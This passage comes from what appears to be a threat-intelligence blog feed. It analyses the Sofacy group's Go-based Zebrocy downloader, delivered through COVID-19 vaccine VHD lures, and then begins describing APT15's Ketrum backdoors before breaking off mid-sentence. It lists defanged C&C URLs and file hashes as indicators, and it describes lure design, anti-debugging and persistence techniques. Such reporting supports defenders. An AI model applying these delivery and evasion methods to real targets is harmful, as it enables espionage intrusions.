&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;If the user double-clicks on the file, Windows will mount the drive and it
appears as an external hard drive. Figure 2 shows the content of the VHD.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/images/fig2.png" title="Figure 2: Content of the VHD file. It contains two files: A PDF file and an executable that is masquerading as a Microsoft Word document." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: Content of the VHD file. It contains two files: A PDF file and an executable that is masquerading as a Microsoft Word document.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The VHD file includes two files, a PDF document and an executable that is
masquerading as a Microsoft Word document. The PDF file consists of
presentation slides about Sinopharm International Corporation. Figure 3
displays a screenshot of the first slide.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/images/fig3.png" title="Figure 3: PDF of presentation slides used as part of the lure." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: PDF of presentation slides used as part of the lure.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Sinopharm International Corporation is a China-based
&lt;a href="https://www.bloomberg.com/profile/company/1383184D:CH"target="_blank" rel="noopener"&gt;manufacturer of pharmaceutical products&lt;/a&gt;.
It is one of the companies in China that is currently working on a vaccine for
COVID-19. Their vaccine is currently undergoing
&lt;a href="https://www.bloomberg.com/features/2020-coronavirus-drug-vaccine-status/"target="_blank" rel="noopener"&gt;phase three&lt;/a&gt;
clinical trials but it has already been
&lt;a href="https://uk.reuters.com/article/uk-health-coronavirus-vaccine-sinopharm/china-sinopharms-coronavirus-vaccine-taken-by-about-a-million-people-in-emergency-use-idUKKBN27Z0PS"target="_blank" rel="noopener"&gt;given to nearly one million people&lt;/a&gt;.
It may not come as a surprise that the threat group behind Zebrocy is using
COVID-19-themed related lures when many vaccines are about to get approved for
use. The group is known to use
&lt;a href="https://www.accenture.com/us-en/blogs/cyber-defense/snakemackerel-delivers-zekapab-malware"target="_blank" rel="noopener"&gt;current events as part of their phishing lures&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The second file is the malware. By default, Windows hides known file extensions
and the user can be easily tricked into believing that it’s a Word document.
The scan results of the executable from VirusTotal is shown in Figure 4 and
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=russian-apt-uses-covid-19-lures-to-deliver-zebrocy&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Intezer Analyze&lt;/a&gt; in Figure 5. Only nine of the
70 antivirus engines detected the file as generic malware while Analyze
detected the file as malware associated with Sofacy.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/images/fig4.png" title="Figure 4: VirusTotal scan results of the binary file with generic detection." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: VirusTotal scan results of the binary file with generic detection.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/images/fig5.png" title="Figure 5: Intezer Analyze detects the file as genetically similar to malware used by Sofacy one year ago." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: Intezer Analyze detects the file as genetically similar to malware used by Sofacy one year ago.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware is a new sample of Zebrocy written in Go. Earlier this year,
&lt;a href="https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/"target="_blank" rel="noopener"&gt;QuoIntelligence&lt;/a&gt;
detected an ongoing campaign by Sofacy, assessing with medium-high confidence
that the group was targeting Azerbaijan. In that campaign, the Delphi version
was used. It appears that the threat group has now switched from delivering the
Delphi downloader to the Go downloader.&lt;/p&gt;
&lt;p&gt;The downloader is similar to the original downloader reported by
&lt;a href="https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/"target="_blank" rel="noopener"&gt;Palo Alto Networks Unit 42&lt;/a&gt;.
The sample has been obfuscated with
&lt;a href="https://github.com/unixpickle/gobfuscate"target="_blank" rel="noopener"&gt;gobfuscator&lt;/a&gt;, the same tool used by
the Blackrota malware. The sample doesn’t collect the same amount of
information about the infected machine (i.e., running processes, local disk
information, and system information from “systeminfo”) as in previous
campaigns. Instead, it collects the hostname and the path to the user’s &lt;code&gt;TEMP&lt;/code&gt;
folder. This information is used to generate an identifier by hashing the
values with MD5. The screenshot functionality is not performed by an imported
third-party library. Rather, the malware author has included the screenshot
code from the library directly in the main codebase. The malware has some
anti-debugging checks. In Figure 6, it can be seen how the malware calls the
Windows API function &lt;code&gt;IsDebuggerPresent&lt;/code&gt;. If true is returned, it enters an
infinite sleeping loop.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/images/fig6.png" title="Figure 6: Logic that checks if the process is being debugged. If true, it enters a sleeping loop." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Logic that checks if the process is being debugged. If true, it enters a sleeping loop.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The screenshot is uploaded to the C&amp;amp;C located at the URL:
&lt;code&gt;hxxps://support-cloud[.]life/managment/cb-secure/technology.php&lt;/code&gt;. If the C&amp;amp;C
returns a second stage, the file is written to the disk and executed. The URL
scheme for the C&amp;amp;C is similar to the URL scheme used in the original
&lt;a href="https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/"target="_blank" rel="noopener"&gt;Go version&lt;/a&gt;
(&lt;code&gt;hxxp://89.37.226[.]148/technet-support/library/online-service-description.php&lt;/code&gt;).
The domain name was registered with NameCheap on October 20, 2020, and uses a
certificate issued by Let’s Encrypt. The certificate was issued on November 2,
2020. The infrastructure is hosted on &lt;code&gt;80.90.39.24&lt;/code&gt; which is owned by the
Luxembourg-based hosting company, Visual Online. The infrastructure appears to
be new.&lt;/p&gt;
&lt;h2&gt;Earlier Campaigns&lt;span class="hx:absolute hx:-mt-20" id="earlier-campaigns"&gt;&lt;/span&gt;
&lt;a href="#earlier-campaigns" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Using the icon resource from the original phishing lure, we found another
phishing lure (&lt;code&gt;395e166af5197967503f45c3ac134ff7&lt;/code&gt;) that was uploaded to
VirusTotal from Kazakhstan on November 12. This VHD file was named
&lt;code&gt;No.243.CB3-EVACUATION LETTER.vhd&lt;/code&gt;. The content of the file is shown in Figure
7.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/images/fig7.png" title="Figure 7: Content of No.243.CB3-EVACUATION LETTER.vhd. The disk file includes an executable file and a PDF file." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: Content of No.243.CB3-EVACUATION LETTER.vhd. The disk file includes an executable file and a PDF file.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The executable is another Go version of Zebrocy. It uses the same C&amp;amp;C URL. The
sample is obfuscated using the same technique the group has used for their
prior versions. The function names have been mangled and the strings have been
obfuscated. In this version, the strings are obfuscated by rotating the
characters in the string one step. For example, &lt;code&gt;A&lt;/code&gt; has been rotated to &lt;code&gt;B&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The PDF file is corrupted. This is not the first time the group is using
&lt;a href="https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/"target="_blank" rel="noopener"&gt;corrupt files&lt;/a&gt;
as part of its lures. Corrupt
&lt;a href="https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/"target="_blank" rel="noopener"&gt;Microsoft Excel files were used&lt;/a&gt;
in the campaign uncovered by QuoIntelligence earlier this year. The technique
is likely used to trick the user into executing the application rather than
just viewing the lure.&lt;/p&gt;
&lt;p&gt;Based on the file name, one theory we have is a message from India’s
Directorate General of Civil Aviation is being impersonated. It was announced
&lt;a href="https://www.outlookindia.com/newsscroll/will-develop-flight-network-to-russia-central-asian-countries-in-next-few-months-indigo-official/1920413"target="_blank" rel="noopener"&gt;in August&lt;/a&gt;
that a flight network between India, Russia, and other Central Asian countries
was being developed. While India has suspended international flights due to the
pandemic, some airlines have operated charter flights to “Russia, Uzbekistan,
Ukraine, Kazakhstan and Kyrgyzstan.”&lt;/p&gt;
&lt;p&gt;It turns out the same VHD file was uploaded in October to VirusTotal with
different content (&lt;code&gt;855005fee45e71c36a466527c7fad62f&lt;/code&gt;); both samples share the
same disk ID. The content of this sample is shown in Figure 8. As with the
other VHD files, this also has a PDF file and an executable masquerading as a
Microsoft Word Document. Instead of delivering the Go version of Zebrocy, the
Delphi loader was used.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/images/fig8.png" title="Figure 8: Content of VHD uploaded to VirusTotal in October." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 8: Content of VHD uploaded to VirusTotal in October.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The PDF lure is written in Russian. The title is, according to Google
Translate: &amp;ldquo;NATIONAL LIST INDIVIDUALS AND LEGAL ENTITIES INVOLVED IN TERRORIST
AND EXTREMIST ACTIVITIES OR THE DISTRIBUTION OF WEAPONS OF MASS DESTRUCTION.&amp;rdquo;
The content of the first page is shown in Figure 9.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/images/fig9.jpg" title="Figure 9: Redacted screenshot of PDF lure written in Russian." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: Redacted screenshot of PDF lure written in Russian.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;According to timestamps, the VHD was created on October 21, the day after the
domain (&lt;code&gt;support-cloud[.]life&lt;/code&gt;) was registered. The domain was used in a
spear-phishing attack against a Kazakhstan government ministry the same day.
The VHD file was uploaded to VirusTotal the next day. On November 11, the same
VHD file was reused but the lure and payload were changed. This version of the
VHD was uploaded to VirusTotal the next day. By applying this logic to the VHD
file used to deliver the Sinopharm-based lure, we can estimate that it was used
around November 20.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Zebrocy is a malware toolset used by the Sofacy threat group. While the group
keeps changing obfuscation and delivery techniques, code reuse allowed Intezer
to detect and correctly classify this malware. With these recent phishing
lures, it’s clear that COVID-19 themed attacks are still a threat and we might
see more as vaccines become available to the general public.&lt;/p&gt;
&lt;p&gt;It’s important that companies use defense-in-depth strategies to protect
against threats. Employers should also ensure employees are trained on
detecting and reacting to phishing attempts. Phishing attempts do not always
originate from an external email address; they can also come from a compromised
account within the enterprise.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;hxxps://support-cloud[.]life/managment/cb-secure/technology.php&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;VHD files&lt;span class="hx:absolute hx:-mt-20" id="vhd-files"&gt;&lt;/span&gt;
&lt;a href="#vhd-files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;d5d9210ef49c6780016536b0863cc50f6de03f73e70c2af46cc3cff0e2bf9353 30-1868.vhd
43c65d87d690aea7c515fe84317af40b7e64b350304b0fc958a51d62826feade 30-22-243.vhd
d444fde5885ec1241041d04b3001be17162523d2058ab1a7f88aac50a6059bc0 No.243.CB3-EVACUATION LETTER.vhd&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Zebrocy&lt;span class="hx:absolute hx:-mt-20" id="zebrocy"&gt;&lt;/span&gt;
&lt;a href="#zebrocy" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;f36a0ee7f4ec23765bb28fbfa734e402042278864e246a54b8c4db6f58275662 243_BIO_SINOPHARM.exe
61c2e524dcc25a59d7f2fe7eff269865a3ed14d6b40e4fea33b3cd3f58c14f19 243.CB3.EVACUATION LETTER.exe
6449d0cb1396d6feba7fb9e25fb20e9a0a5ef3e8623332844458d73057cf04a1 30-1868 20.10.2020.exe&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>The Evolution of APT15's Codebase 2020</title><link>https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/</link><pubDate>Thu, 21 May 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/</guid><description>
&lt;p&gt;The Ke3chang group, also known as APT15, is an alleged Chinese
government-backed cluster of teams known to target various high-profile
entities spanning multiple continents. Examples include attacks on
&lt;a href="https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf"target="_blank" rel="noopener"&gt;European ministries&lt;/a&gt;,
&lt;a href="https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/"target="_blank" rel="noopener"&gt;Indian embassies&lt;/a&gt;,
and
&lt;a href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"target="_blank" rel="noopener"&gt;British military contractors&lt;/a&gt;.
The group&amp;rsquo;s activities have been traced back to 2010 and it is known to boast a
large number of custom tools, most often tailored to their specific target.&lt;/p&gt;
&lt;p&gt;In mid May, we identified three recently uploaded samples from VirusTotal that
share code with older APT15 implants. We named this new family of samples,
&amp;ldquo;Ketrum&amp;rdquo;, due to the merger of features in the documented backdoor families
&amp;ldquo;Ketrican&amp;rdquo; and &amp;ldquo;Okrum&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;We believe the operation was conducted very recently. Below we present a
technical analysis of these samples and explain the evolution of APT15&amp;rsquo;s
codebase over the last year.&lt;/p&gt;
&lt;h2&gt;Overview&lt;span class="hx:absolute hx:-mt-20" id="overview"&gt;&lt;/span&gt;
&lt;a href="#overview" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The three samples we discovered seem to be a mix of the Ketrican and Okrum
backdoors documented by researchers at
&lt;a href="https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf"target="_blank" rel="noopener"&gt;ESET&lt;/a&gt;
in 2019. Features have been merged from these two malware families to create a
different RAT class for the group. We&amp;rsquo;ve decided to call this umbrella of
malware &amp;ldquo;Ketrum.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;The new samples we found continue the Ke3chang group&amp;rsquo;s strategy of using a
basic backdoor to gain control over the victim&amp;rsquo;s device, so that an operator
can then connect to it and run commands manually to conduct further operations.&lt;/p&gt;
&lt;p&gt;Before beginning our technical analysis, we were able to connect these binaries
to Ke3chang using &lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=the-evolution-of-apt15s-codebase-2020&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Intezer Analyze&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=the-evolution-of-apt15s-codebase-2020&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/files/271384a078f2a2f58e14d7703febae8a28c6e2d7ddb00a3c8d3eead4ea87a0c0"target="_blank" rel="noopener"&gt;Genetic Analysis&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;All three samples contacted the same C2 server and appear to have been used in
two different time periods, judging by the PE timestamps and VirusTotal upload
date:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;SHA256s&lt;/th&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;VirusTotal Date&lt;/th&gt;
&lt;th style="text-align: left"&gt;PE Timestamp&lt;/th&gt;
&lt;th style="text-align: left"&gt;C2&lt;/th&gt;
&lt;th style="text-align: left"&gt;Family&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a142625512e5372a1728595be19dbee23eea50524b4827cb64ed5aaeaaa0270b&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;RavAudio64.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;2019-12-03&lt;/td&gt;
&lt;td style="text-align: left"&gt;7 Jan 2010&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;menu.thehuguardian[.]com&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Ketrum1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;271384a078f2a2f58e14d7703febae8a28c6e2d7ddb00a3c8d3eead4ea87a0c0&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;-&lt;/td&gt;
&lt;td style="text-align: left"&gt;2020-05-16&lt;/td&gt;
&lt;td style="text-align: left"&gt;13 May 2020&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;www.thehuguardian[.]com&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Ketrum2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aacaf0d4729dd6fda2e452be763d209f92d107ecf24d8a341947c545de9b7311&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;-&lt;/td&gt;
&lt;td style="text-align: left"&gt;2020-05-17&lt;/td&gt;
&lt;td style="text-align: left"&gt;13 May 2020&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;www.thehuguardian[.]com&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Ketrum2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The C2 was registered towards the end of 2019, which makes us believe the first
PE timestamp was tampered with, and the latter two timestamps are at least
close to the real compilation date.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s also important to note the C2 was registered in China and ceased operating
in mid May.&lt;/p&gt;
&lt;h2&gt;The Best of Two Worlds&lt;span class="hx:absolute hx:-mt-20" id="the-best-of-two-worlds"&gt;&lt;/span&gt;
&lt;a href="#the-best-of-two-worlds" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We documented several interesting differences between the backdoors:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;&lt;/th&gt;
&lt;th style="text-align: left"&gt;Ketrican&lt;/th&gt;
&lt;th style="text-align: left"&gt;Okrum&lt;/th&gt;
&lt;th style="text-align: left"&gt;Ketrum1&lt;/th&gt;
&lt;th style="text-align: left"&gt;Ketrum2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Identify installed proxy servers and use them for HTTP requests&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Special folder retrieval using registry key &lt;code&gt;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;The response from the server is an HTTP page with backdoor commands and arguments included in the HTML fields&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Backdoor commands are determined by a hashing value received from C2&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Communication with the C&amp;amp;C server is hidden in the Cookie and Set-Cookie headers of HTTP requests&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Impersonate a logged in user&amp;rsquo;s security context&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Create a copy of &lt;code&gt;cmd.exe&lt;/code&gt; in their working directory and use it to interpret backdoor commands&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Usual Ke3chang backdoor functionalities - download, upload, execute files/shell commands and configure sleep time&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Screenshot-grabbing functionality&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;td style="text-align: left"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left"&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Ketrum 1&lt;span class="hx:absolute hx:-mt-20" id="ketrum-1"&gt;&lt;/span&gt;
&lt;a href="#ketrum-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Ketrum 1 sample was uploaded to VirusTotal in December 2019. This version
registers itself as a &amp;ldquo;WMI Provider Host&amp;rdquo; service &lt;em&gt;if&lt;/em&gt; it is able to obtain
&lt;code&gt;SeDebugPrivilege&lt;/code&gt;; otherwise it creates an entry in the startup directory.&lt;/p&gt;
&lt;p&gt;This sample incorporates many features from Okrum as can be seen in the table
above, however, it abandons more advanced Okrum features such as offering a
reflective injection via an export and the use of hashes to receive command
IDs.&lt;/p&gt;
&lt;p&gt;In the past, APT15 has used the
&lt;a href="https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/"target="_blank" rel="noopener"&gt;IWebBrowser2&lt;/a&gt;
COM interface to manage its network communications. This time, the Ketrum
developer abandoned this technique and used simple HTTP APIs:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Interestingly, this sample also incorporates a screenshot-grabbing command.&lt;/p&gt;
&lt;h2&gt;Ketrum 2&lt;span class="hx:absolute hx:-mt-20" id="ketrum-2"&gt;&lt;/span&gt;
&lt;a href="#ketrum-2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Ketrum 2 seems to have been built for minimalism. As can be seen in Table 2,
many functionalities have been dropped.&lt;/p&gt;
&lt;p&gt;Unlike the Ketrican variant, Ketrum implants no longer try to weaken the
system&amp;rsquo;s security configurations. In previous implants, Powershell was used for
this end. Interestingly, a string still remains in Ketrum 2, which refers to
